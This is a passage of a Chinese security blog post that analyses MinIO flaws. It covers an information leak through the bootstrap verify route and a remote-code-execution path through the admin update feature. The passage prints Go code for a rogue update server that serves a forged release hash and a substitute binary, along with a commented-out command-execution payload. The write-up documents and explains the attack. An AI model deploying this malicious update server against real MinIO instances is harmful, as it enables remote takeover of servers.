2px;">minio/bootstrap/v1/verify</code></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.24722222222222223" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d83f451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcCcN9UOnT1b3qhpc12V8OibGc5YX4sJJls3t0KMQ5sbwlqUPqRW7Hc8g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是直接访问是无法访问的，因为在这个函数里面下断点，会发现这个代码块根本没被执行到</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">跟到上面，会判断globalIsDistErasure是否为真，为真才注册路由</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.2638888888888889" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ce307b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcpr4qmr8ZoUAgmQHY6ULxbjYEYQiclldHSKBmGGnNBic59rvFic91cOxKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这个参数是，只有在分布式运行的时候才为true</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.13333333333333333" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=54de2a6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcTgnVNmGgpvnN5gwoU60bRMxJ2Y63yv7jJxaQ17XYT8tsV1fbwXzgdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">为了方便测试，我们直接把 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">if globalIsDistErasure</code>改成 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">if true</code>，然后重启</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.2037037037037037" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a4224f3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rc2lKSic11ISYzWEW2kxWSe3lKETYib2jv87tSibwibswPhFv4hoqCV9IMhw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">信息泄露 Get~</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">2.RCE</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在找环境变量搜索os的时候，找到了一个相当有rce潜力的函数</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.6685185185185185" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4039ffa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcpILfr9eb4WxMfy6AiavAic0h6eGt0oNniaMRk0L5BbOEvWI8nmZibG9fOg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以重启整个进程，查找调用此方法的地方</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在这里监听了的一个chan，如果受到消息是serivceRestart，进程就会重启</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.6203703703703703" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=79f299e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcY0FJKDiasHpKq58fZLS37DTTFyeH2s8ia0PfIT1Z0h3QAFCDHjkXwickg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">继续跟进，一共有五个通道会写入消息</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.40555555555555556" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c86c618b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcOUhjCn6r1UG2TTicZib8chM9YfGxrKTHL1mrRryOrPD7icMCFYJlzfKpw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">找到一个函数</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5009259259259259" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c53a5319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcQ3YMk05fnzEGiaNrhHutvXQnD7wib5lRvCDTKQTNCBDyYLur5ibvqYZFQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">整体来看会接受updateURL方法然后下载、检验、重启</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">下载</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.700925925925926" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d299764&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcIyU2kiaCtsMJMchCGpH7OIDLfxFntrfAT7mOgQI0w5aibljEsexAHbrg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">校验</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.4888888888888889" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=11986d63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcib2yjcpQZ7ABLg8G3TQXZkZJ6icNjOW5ZH07CJPUSRrseopw55RYvJKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">重启</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.11264822134387352" title="null" data-type="png" data-w="1012" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c27f2a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcrveI9dg3xfpCRfwzTibHyDgcQic2d1lxP1CFr6UmG5FOOrGYzeb7Xq2A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">本来想尝试手动访问这个API的，但是认证过程实在是复杂。上官网看文档，发现一个官方封装好的</p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;white-space: normal;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><a href="https://min.io/docs/minio/linux/reference/minio-mc-admin.html" target="_blank">https://min.io/docs/minio/linux/reference/minio-mc-admin.html</a></p></blockquote><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.512962962962963" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5338275c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcIVDicFnRW6m0HsMpYWRn8RM8AETq0HX4doyxCrocrz8jwHq35FoiaKlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">下载mc客户端 配置alias</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.0787037037037037" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=706019aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcVJhiccyJGXWSBFHICZwFfNT17GupfYhiaYVHMiaCXesicoNV6WnBibeVmuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">尝试直接更新，报了一个错</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.23981481481481481" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ac8739ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcVVRKVxicUCgFMe6Hr6KLF3rW5zv5nLhXnubPX4bKaCPxUaThTfy94CQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">parseReleaseData返回了err 跟进函数看看</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.18981481481481483" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f42bdac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcaW513nNedibpWO2RAGFtDF9517eTibgbUxdFLJJmLerZnG6aH76JhbEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">分割字符串校验信息</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.925" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=acabc77e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcEVbjgRqX30xLC5VTEOY0tXocL5Un1OajS0c4gcX3OuKy8Euh2kuRbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">根据校验函数构造一个更新服务信息</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="golang"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">package main</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">import (</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    &#34;net/http&#34;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    &#34;os&#34;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//func main() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//    cmd := exec.Command(&#34;sh&#34;, &#34;-c&#34;, &#34;open -a Calculator&#34;)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//    cmd.Run()</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//}</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">func main() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    http.HandleFunc(&#34;/info&#34;, Evil)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    http.HandleFunc(&#34;/minio.RELEASE.2023-05-22T03-08-07Z&#34;, evil)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    http.ListenAndServe(&#34;0.0.0.0:8000&#34;, nil)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">}</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">func Evil(w http.ResponseWriter, r *http.Request) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    println(&#34;info&#34;)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    w.Write([]byte(&#34;9ff209a2e3f9b9d61cb26e4c9953e8ce4985f1073120ed7794b0337033174e89 minio.RELEASE.2023-05-22T03-08-07Z\n&#34;))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">}</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">func evil(w http.ResponseWriter, r *http.Request) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    println(&#34;evil&#34;)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    b, _ := os.ReadFile(&#34;main&#34;)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    w.Write(b)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">注意minio.RELEASE.2023-05-22T03-08-07Z这里的日期要比minio运行的日期要新，这里的sha256</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New 